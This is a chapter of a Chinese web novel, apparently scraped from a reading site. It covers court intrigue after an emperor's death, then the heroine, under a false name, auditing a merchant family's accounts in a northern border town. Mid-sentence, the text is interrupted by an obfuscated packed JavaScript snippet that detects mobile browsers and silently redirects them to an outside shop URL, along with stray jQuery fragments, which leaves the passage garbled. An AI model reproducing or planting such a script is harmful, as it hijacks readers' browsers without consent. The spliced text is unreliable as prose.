嘉和帝驾崩，举国服丧二十七日。太子即位，改年号为顺光。


    这短短时间内发生的事情太多，先是太子被下罪，紧接着三皇子也被降罪，其后太子被释出，而后嘉和帝病逝，太子褚季即位。


    登基那日，褚季望着底下俯跪着的群臣，他感觉，自己由先前的地底升入了云端。


    他本以为，自己这辈子，都只能幽居东宫之中，未曾想，有朝一日能被放出，还继天立极，成了大衡第八位皇帝。


    他的虽然已经失去了母家助力，可褚季而今居万人之上，只要他想，便可再扶母家东山再起。


    他先是将母后放出，封为太后，对于此事，众臣选择睁一只眼闭一只眼。可待到褚季想要将自己母族许家脱罪后，却受到权臣力反。


    其中一老臣直言进谏，若是褚季为自己母家脱罪，那便意味着违逆了先帝之命。更直白些，便是打了先帝的脸！


    如此这般，褚季只能按下这个心思，从长计议。


    褚季登皇位，自然便有人不好过。


    首当其冲的便是褚临与其母族。


    慧妃在褚季登基那日，于自己宫内砸了不少东西。她面目狰狞，与从前那个给人蕙质兰心之感的钟澜截然不同。


    “凭什么！为什么是他！”慧妃发泄着心中不满，一旁侍奉的宫女一直在旁劝她，要她小声些，莫要传出自家宫门，惹恼了陛下。


    慧妃这才停下砸东西的动作，只是脸上从始至终都没有什么好脸色。


    好巧不巧，她才将发泄后，才被封为太后的许皇后走了进来。


    她头戴金冠，衣着华贵，与方才用力狠摔了一场发丝凌乱的慧妃比起来简直不知有多得意。


    慧妃见她，咬着牙朝这位新太后行了礼。


    许太后坐于宫中主位之上，见满地狼藉，明知故问道：“妹妹这屋中可是遭了贼，怎么如此多东西都被折腾到了地上。”


    慧妃，不，而今的慧太妃盯着许太后的脸，阴涔涔地笑，直笑得人脊背发凉。


    “三十年河东，三十年河西，妹妹，你就安稳住在宫中，享度晚年罢。”许太后身上满是胜者之姿。


    这让与其斗了多年的慧太妃恨不得啖其血吃其肉。


    不要被愤恨冲昏头脑。慧太妃如此警告自己。


    她伸手抚了一下自己头上的云鬓，坐了下来，给许太后斟了一杯差点儿被她摔了的热茶。


    太后端起轻啜一口，舌头顿时被烫了一下。


    慧妃见此状，不露声色地笑了一下，道：“热茶烫嘴，若是急于品味，恐怕，会反噬自身呢。娘娘，还是稍等会儿，再品茗吧。”


    太后自是听出其言外之意，又小心喝下一口热茶后，对慧妃说：“妹妹，不知可听过一句话，泼猴翻不过九重天。”


    慧妃身形袅袅，走到太后旁边坐下，小声在其耳边道：“姐姐的母家已然没落，而我，可还是大衡武将之首钟正的嫡女，我父亲手中有雄兵几十万，广结天下豪士，姐姐的身后，可有人？”


    她这是想起兵谋反！


    太后拍案而起，慧妃却像看笑话一般看着她，“姐姐，我可什么都没说。”


    太后窝着一肚子火去到灵裕殿，她按下门口想要传禀的太监，悄然走进去。


    入目第一眼看到的并不是他的儿子正勤于政事，只见其怀中正抱着一个妩媚妖娆的女子沉溺其中。


    见太后，褚季心一抖，他怀中的女子更是吓得扑跪在地。


    被母后发现自己并未勤勉政事，反而沉迷于风花雪月之中，定然会受到责骂。


    他正想理理衣衫站起，眼睛瞥过桌上的方印，那是他颁布政令所用之印章。


    对啊，自己如今是一国之君，母后再不能像从前那般对他随意训斥了。


    他感觉到身后有什么东西支撑着自己，叫方才那女子下去后，他整理衣襟走到许太后跟前：“儿臣见过母后。”


    太后见褚季，压着想扇其一巴掌的动作，从喉间蹦出几字：“皇帝，褚临……”


    “母后，褚临那头，儿臣已有打算。”


    母子二人交谈过后，许皇后露出一个赞许的目光，一石二鸟，儿子这主意，实属不错。


    —


    南方的秋天，却是北边入冬的季节。


    凉城一处栽了不少雪松的宅子、最里的西厢房中，宋朝月手中正捧着一小手炉，不时腾挪换手翻看着账本。


    这凉城不愧其名，才九月底，就已经冷成这般模样。若到了数九寒冬，不知道又会是怎样一番冻天寒之景。


    她如是想着，手下却没有停。


    宋明泽告知于华清宋朝月所在后，她先是大喜，过后又将这委托其将凉城账簿仔细看过。


    近两年，凉城开始与邻国通商，商贸自然更要繁盛些。


    可每一年华家在这苍州主事人送到华家手中的账中却总是有亏损，这亏损虽不多，于华家来说甚至于是九牛一毛。


    可生意人，若不挣钱，开铺子又有何用。


    所以先前华清曾提过要入冬后要带着宋朝月来这凉城，未曾想，宋朝月却误打误撞先来了。


    既来之，则安之。


    华清知道宋朝月先于自己到了凉城，索性叫她替自己看了看这些足有一人高的账簿，看看是否有何猫腻。


    来了这么几天，宋朝月肩上搭着一条绒毯看了快过半的账本，奇怪的是，这账一点儿错处都没有，就好像，早已经被人仔细检查过一般。


    “吴平呢，叫他来见我。”


    这吴平，便是华家于苍州的主事人，据华清信中所言，吴平在华清阿祖还在世时便已经在华家做事了。


    他起初是在丹州一小城店铺的掌柜，后来他所管的那家酒楼生意甚好，得华老爷子青睐，便将此人派往了苍州。


    起初的十几年，一切倒也还正常，可是近几年，亏损越来越多，问其缘由，吴平只说是这几年苍州天气实在异常，所以粮食草药之类成色不好，卖不出好价，方致亏损。


    吴平到时，穿着一身藏青色及大腿的长袄，头发不多，其中已经有了许多白丝。


    这也不怪，毕竟他已年过五十了。


    他被人引进了厅内，入厅堂，里面正燃着一个炭盆，他有些发冷的手这才缓和了些。


    今日不是来见家主派来的人吗？可这人呢？


    正当他疑惑之际，一扇彩蝶屏风后面传来悠悠说话声：“吴掌柜，若冷的话，我再叫人给你送上一个手


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13272144|130227||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    炉？”


    原来这人躲在屏风后面，吴平很快就反应过来，露出他修炼多年商人那张热情而又市侩的笑脸。


    “不劳您费心，在下挨着这炭盆烤烤便是。”


    透过屏风，宋朝月看见，吴平用手指攥住了他有了几个破洞的袖口，似乎想将他那破洞的衣服藏一藏。


    宋朝月观察着吴平，吴平也观察着宋朝月。


    屏风后人是个女子，声音极为年轻。他起先猜测这位是否便是之前入华家的那位宋小姐，可转念一想，又觉不对，宋小姐已经摔下山崖离世了，那这位，难不成是主家新找的人？


    “吴掌柜，我姓江，汤汤江流的江。”


    吴平立马唤了一声江小姐。


    “我貌丑，幼时脸上留下一道疤，是以不愿以真面见人。承蒙家主不弃，允我入了华家。无法直面吴掌柜，还请见谅。”


    这是宋朝月来到凉城后便为自己编纂的一个新身份，她从今往后，随母姓，姓江。


    两人随便聊了几句，其间宋朝月有提到账目一事，见吴平并未其他异样，便叫其回去了。


    一无所获，宋朝月盯着那写满数字的账本，愣着发呆。


    问题，究竟出在哪儿呢？


    既无思绪，宋朝月决定走走。


    平夏将宋朝月送到后，便被其遣走了。


    而今跟在宋朝月身边的，只有一个华家的侍女，红梅。


    红梅年纪比她大一岁，为人沉稳，从不多言，她也是这凉城中唯一知道宋朝月真正身份的人。


    不过她是个孤女，自小受华家庇佑，分外感激华家，所以华清才叫她来，伴在宋朝月左右。


    初来乍到，宋朝月并不熟悉凉城。


    凉城风光与她的家乡泗水截然不同。


    这里鲜有木质的楼宇，更多的是以土砖与石砖为砌。沿街看来没有南方的五彩斑斓，花果飘香，更多的是一望无际的广袤壮阔。


    待到这里下雪了，想必很好看吧。


    带着帷帽的宋朝月走在凉城的街巷之中，沿途，她看到了许许多多的乞讨者。


    这群人里，有老弱妇孺。宋朝月不忍心，从腰间钱袋里掏出就几个铜板，丢给了其中一个抱着年幼婴孩的老妪，其余人见有人赏钱，便一拥而上，红梅护住宋朝月许久才脱身。


    待到两人坐在城中一家酒肆之中，宋朝月仍心有余悸。方才那群人，恨不得将她身上值钱的东西全都扒下来。


    玉梅点了一壶酒，告知宋朝月可以暖身，宋朝月却不饮，她喝了酒之后是什么样子，她自己最清楚，还是算了。


    玉梅三两碗酒下肚，身子也暖和了些。


    她说起今年凉城的形式，这两年苍州夏季干旱，所以没有什么好的收成，可上头的赋税却依旧没有变。为避免交不起税粮被关进牢狱中，好多老百姓没办法，只能丢下家中几亩薄田，背井离乡，以乞讨为生。


    宋朝月听着，胸口发堵。


    想到方才她给钱的那个已经黄皮寡瘦的老妪，瞬间觉得不是滋味。


    “小二，上一壶酒！”


    宋朝月听到一个熟悉的声音，她循声看过去，是个熟人。


    而站在他斜后处的，不是孟祈，又是谁呢？